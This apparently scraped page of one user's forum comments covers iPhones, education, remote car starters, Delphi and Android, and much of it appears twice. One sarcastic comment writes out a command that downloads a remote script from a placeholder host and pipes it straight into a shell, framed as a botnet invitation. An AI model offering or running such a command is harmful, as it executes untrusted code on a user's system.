$300000, I am quite sure I made much more than that while you where in school.
I find there are two types of people in this world when it comes to education. There are those that are fully capable and have the desire and initiative to essentially teach themselves. Then there is the second bunch that require a structured environment to develop their skills.
I find in real life work history is everything when it comes to competing with others for a job. A hiring manager looks at a resume and says can this guy do the job, a history of doing that job and doing it well trumps any sort of degree you may throw at him.
I think you are very much wrong about multi-tasking and I think you can ask any iphone user and verify this. First of all the typical joe user could give a shit less. I am a developer and I am perfectly happy that the iphone and even the ipad has no multi-tasking. Sure it would be nice to have. However I realize that not having it keeps my device from turning to shit because I loaded someone's craplication that thinks it is cool to burn my battery life by running a worthless notifier, spam downloader etc.
I am sure there where some that went well and many that went bad. Now most of them I am sure are a horrible burden to the bottom line. Installing and running something like SAP is all well and good when the company is making money and can afford it. When the bottom drops out the expense and maintenance I am sure only quickens the pace of demise.
Commercially installed systems either require that the car is locked prior to starting or automatically lock the car during the start. Any attempt to then drive the car such as placing it into gear will kill the engine if the key is not inserted.
Outside temperature 20 below zero, think about it. Some areas of the US have very harsh winters, remotely starting a car 10 minutes early remotely allows time to warm the interior to something more comfortable say 40 deg. Not to mention it is better for the engine to be at least slightly warmed up before placing it under a load.
I had thought of doing this some time back, what stopped me and apparently the author as well is the price of maintaining minutes on the phone just to run a remote starter.
Wow they just created the old VB SendKeys command. I was actually doing stuff like this 12-14 years ago with SendKeys command in VB. In "practical" use back then it sucked and I am certain that has not changed.
Is someone going to build a delphi clone better? Not likely this one has been in development nearly 10 years and it is as close as you are going to get.
I have a iphone and when I am not near a computer it is perfectly capable of doing what I need to do on the go. My next step up would be a laptop nearly all the power of a desktop with the portability built in. The tablet is somewhere in the middle so it really does not interest me in the least. Its cool but in everyday life I would really have no need for it.
I live eat and breath linux every single day but when it comes to devices my iphone is not something I would want to live without. It is practical and does nearly every single thing I need it to do and does it well. The iphone market penetration is huge and still growing it is going to take some real wow factor for google to unseat it. I still have not seen a android device yet that has the capability to come close. A software feature is not going to do it apple can respond quickly enough to counter, same with hardware apple can respond fairly quickly to any threats.
As a programmer I would like to see it be a little more open but I understand the general public could really care less about that.
Leave it to the US to build something I want to ride. There is no way on earth I would buy that ugly looking bike. My harley easily gets 60 MPG and looks darn fine while doing it.
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Please do the needful!
wow, who would have thunk.
Begin-End
Stop it you are giving me pascal flashbacks.
"Forced whitespacing doesn't suit my debugging style"
It may not, but it sure makes your crap easier for me to debug when it breaks.
Sounds like we are married to the same woman.
$300000, I am quite sure I made much more than that while you where in school.
I find there are two types of people in this world when it comes
to education. There are those that are fully capable and have the desire and initiative to essentially teach themselves. Then there is the second
bunch that require a structured environment to develop their skills.
I find in real life work history is everything when it comes to competing with
others for a job. A hiring manager looks at a resume and says can this guy do the job, a history of doing that job and doing it well trumps any
sort of degree you may throw at him.
I think you are very much wrong about multi-tasking and I think you can ask any iphone user and verify this. First of all the typical
joe user could give a shit less. I am a developer and I am perfectly happy that the iphone and even the ipad has no multi-tasking. Sure
it would be nice to have. However I realize that not having it keeps my device from turning to shit because I loaded someone's craplication that thinks
it is cool to burn my battery life by running a worthless notifier, spam downloader etc.
I am sure there where some that went well and many that went bad. Now most of them
I am sure are a horrible burden to the bottom line. Installing and running something
like SAP is all well and good when the company is making money and can afford it. When
the bottom drops out the expense and maintenance I am sure only quickens the pace
of demise.
Commercially installed systems either require that the car is locked prior to starting or automatically lock the car during the start. Any attempt
to then drive the car such as placing it into gear will kill the engine if the key is not inserted.
Obviously you have never gotten in a car at -20 outside temp or you would very much understand.
Outside temperature 20 below zero, think about it. Some areas of the US have very harsh winters, remotely starting
a car 10 minutes early remotely allows time to warm the interior to something more comfortable say 40 deg. Not
to mention it is better for the engine to be at least slightly warmed up before placing it under a load.
I had thought of doing this some time back, what stopped me and apparently the author
as well is the price of maintaining minutes on the phone just to run a remote starter.
Time to bust out that old points distributor.
man ifconfig
Wow they just created the old VB SendKeys command. I was actually doing stuff like this 12-14 years ago with SendKeys command in VB. In "practical" use back then
it sucked and I am certain that has not changed.
Give lazarus a whirl!
http://lazarus.freepascal.org/
Is someone going to build a delphi clone better? Not likely this one has been in development
nearly 10 years and it is as close as you are going to get.
How Profound:The high air speeds are shown to result from the "nozzle" being a liquid cavity shrinking rapidly in time.
When one of these android devices can perform like a iphone then it may happen, but that
is certainly not a issue for apple yet.
I have a iphone and when I am not near a computer it is perfectly capable of doing what I need to do on the go. My next
step up would be a laptop nearly all the power of a desktop with the portability built in. The tablet is somewhere in
the middle so it really does not interest me in the least. Its cool but in everyday life I would really have no need
for it.
I live eat and breath linux every single day but when it comes to devices my iphone is not
something I would want to live without. It is practical and does nearly every single thing
I need it to do and does it well. The iphone market penetration is huge and still growing
it is going to take some real wow factor for google to unseat it. I still have not seen a android device
yet that has the capability to come close. A software feature is not going to do it apple can respond
quickly enough to counter, same with hardware apple can respond fairly quickly to any threats.
As a programmer I would like to see it be a little more open but I understand the general
public could really care less about that.
Leave it to the US to build something I want to ride. There is no way
on earth I would buy that ugly looking bike. My harley easily gets
60 MPG and looks darn fine while doing it.
Anything can be placed in a contract however it may or may not be legally binding and or lawful.
Would you be so kind as to open a terminal window mr user and run this for me so that you can join
my cool bot net.
wget www.somewhere.com/somefile.sh -O - | sh
Oh no what will the community do, I may have just released a very serious malware exploit vector.
Any programmer worth a grain of salt could write the same thing at the drop of a hat. I don't
understand where it would be all that interesting.
I would say the vast majority are being generated by mouse over ads. Now the real question is who is actually
using it, nobody that I know of.